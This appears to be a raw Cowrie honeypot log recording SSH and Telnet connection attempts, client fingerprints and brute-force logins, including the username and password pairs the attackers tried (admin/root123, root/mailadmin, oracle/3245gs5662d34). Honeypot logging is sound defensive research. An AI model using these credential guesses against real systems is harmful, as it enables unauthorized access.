{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:59.720715Z","src_ip":"103.248.120.6","session":"c03fae6c5788","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:00.944433Z","src_ip":"103.248.120.6","session":"c03fae6c5788","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":32898,"dst_ip":"10.17.0.5","dst_port":22,"session":"a50c27fe63d9","protocol":"ssh","message":"New connection: 103.248.120.6:32898 (10.17.0.5:22) [session: a50c27fe63d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:01.159511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:01.167260Z","src_ip":"103.248.120.6","session":"a50c27fe63d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:01.387525Z","src_ip":"103.248.120.6","session":"a50c27fe63d9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:02.298708Z","src_ip":"103.248.120.6","session":"a50c27fe63d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:02.523953Z","src_ip":"103.248.120.6","session":"2d42fe23c7c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:02.531779Z","src_ip":"103.248.120.6","session":"a50c27fe63d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":38740,"dst_ip":"10.17.0.5","dst_port":23,"session":"730f7cefd466","protocol":"telnet","message":"New connection: 20.123.41.163:38740 (10.17.0.5:23) [session: 730f7cefd466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:10.757619Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":36302,"dst_ip":"10.17.0.5","dst_port":22,"session":"8adde0cd7a3f","protocol":"ssh","message":"New connection: 103.146.202.174:36302 (10.17.0.5:22) [session: 8adde0cd7a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:15.064133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:15.069429Z","src_ip":"103.146.202.174","session":"8adde0cd7a3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":38066,"dst_ip":"10.17.0.5","dst_port":23,"session":"9eb1fbdbc5cc","protocol":"telnet","message":"New connection: 20.123.41.163:38066 (10.17.0.5:23) [session: 9eb1fbdbc5cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:15.208866Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:15.317087Z","src_ip":"103.146.202.174","session":"8adde0cd7a3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ZTE@uss100","message":"login attempt [admin/ZTE@uss100] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:16.351327Z","src_ip":"103.146.202.174","session":"8adde0cd7a3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:17.602804Z","src_ip":"103.146.202.174","session":"8adde0cd7a3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":43398,"dst_ip":"10.17.0.5","dst_port":22,"session":"709ac4ce963b","protocol":"ssh","message":"New connection: 209.99.189.177:43398 (10.17.0.5:22) [session: 709ac4ce963b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:20.005609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:20.011280Z","src_ip":"209.99.189.177","session":"709ac4ce963b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:20.139167Z","src_ip":"209.99.189.177","session":"709ac4ce963b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root123","message":"login attempt [admin/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:20.681158Z","src_ip":"209.99.189.177","session":"709ac4ce963b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:21.812042Z","src_ip":"209.99.189.177","session":"709ac4ce963b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.202.107.54","src_port":36112,"dst_ip":"10.17.0.5","dst_port":23,"session":"76be924af1f4","protocol":"telnet","message":"New connection: 112.202.107.54:36112 (10.17.0.5:23) [session: 76be924af1f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:31.402927Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":63678,"dst_ip":"10.17.0.5","dst_port":22,"session":"3236c747961d","protocol":"ssh","message":"New connection: 109.91.4.177:63678 (10.17.0.5:22) [session: 3236c747961d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:38.639703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:38.647440Z","src_ip":"109.91.4.177","session":"3236c747961d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:38.771923Z","src_ip":"109.91.4.177","session":"3236c747961d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test123","password":"test@123","message":"login attempt [test123/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:39.236449Z","src_ip":"109.91.4.177","session":"3236c747961d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:40.345547Z","src_ip":"109.91.4.177","session":"3236c747961d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":51078,"dst_ip":"10.17.0.5","dst_port":22,"session":"00ae853fecd0","protocol":"ssh","message":"New connection: 103.106.188.32:51078 (10.17.0.5:22) [session: 00ae853fecd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:41.210243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:41.215257Z","src_ip":"103.106.188.32","session":"00ae853fecd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:41.419975Z","src_ip":"103.106.188.32","session":"00ae853fecd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2017","message":"login attempt [admin/Server2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:42.514950Z","src_ip":"103.106.188.32","session":"00ae853fecd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:43.811694Z","src_ip":"103.106.188.32","session":"00ae853fecd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.82079815864563,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:45.223526Z","src_ip":"112.202.107.54","session":"76be924af1f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":54192,"dst_ip":"10.17.0.5","dst_port":23,"session":"45e12671fdb8","protocol":"telnet","message":"New connection: 20.123.41.163:54192 (10.17.0.5:23) [session: 45e12671fdb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:55:58.377199Z"}
{"eventid":"cowrie.session.closed","duration":51.23436498641968,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:01.991855Z","src_ip":"20.123.41.163","session":"730f7cefd466","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.03659772872925,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:05.245353Z","src_ip":"20.123.41.163","session":"9eb1fbdbc5cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.533761978149414,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:07.910895Z","src_ip":"20.123.41.163","session":"45e12671fdb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":53046,"dst_ip":"10.17.0.5","dst_port":22,"session":"414175cfc47e","protocol":"ssh","message":"New connection: 103.146.202.174:53046 (10.17.0.5:22) [session: 414175cfc47e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:14.727398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:14.733020Z","src_ip":"103.146.202.174","session":"414175cfc47e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:14.977389Z","src_ip":"103.146.202.174","session":"414175cfc47e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mailadmin","message":"login attempt [root/mailadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:15.996493Z","src_ip":"103.146.202.174","session":"414175cfc47e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00150775909424,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:16.581522Z","src_ip":"37.52.61.49","session":"7ba10d035a2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:17.245697Z","src_ip":"103.146.202.174","session":"414175cfc47e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.52.61.49","src_port":53500,"dst_ip":"159.203.135.109","dst_port":23,"session":"663f16bdb840","protocol":"telnet","message":"New connection: 37.52.61.49:53500 (159.203.135.109:23) [session: 663f16bdb840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:19.005280Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":63465,"dst_ip":"10.17.0.5","dst_port":22,"session":"58a6e6445d63","protocol":"ssh","message":"New connection: 109.91.4.177:63465 (10.17.0.5:22) [session: 58a6e6445d63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:33.348292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:33.352346Z","src_ip":"109.91.4.177","session":"58a6e6445d63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:33.454989Z","src_ip":"109.91.4.177","session":"58a6e6445d63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"password","message":"login attempt [ftpuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:33.916707Z","src_ip":"109.91.4.177","session":"58a6e6445d63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:35.024299Z","src_ip":"109.91.4.177","session":"58a6e6445d63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":39378,"dst_ip":"10.17.0.5","dst_port":22,"session":"49cd8b84f66e","protocol":"ssh","message":"New connection: 103.106.188.32:39378 (10.17.0.5:22) [session: 49cd8b84f66e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:38.307978Z"}
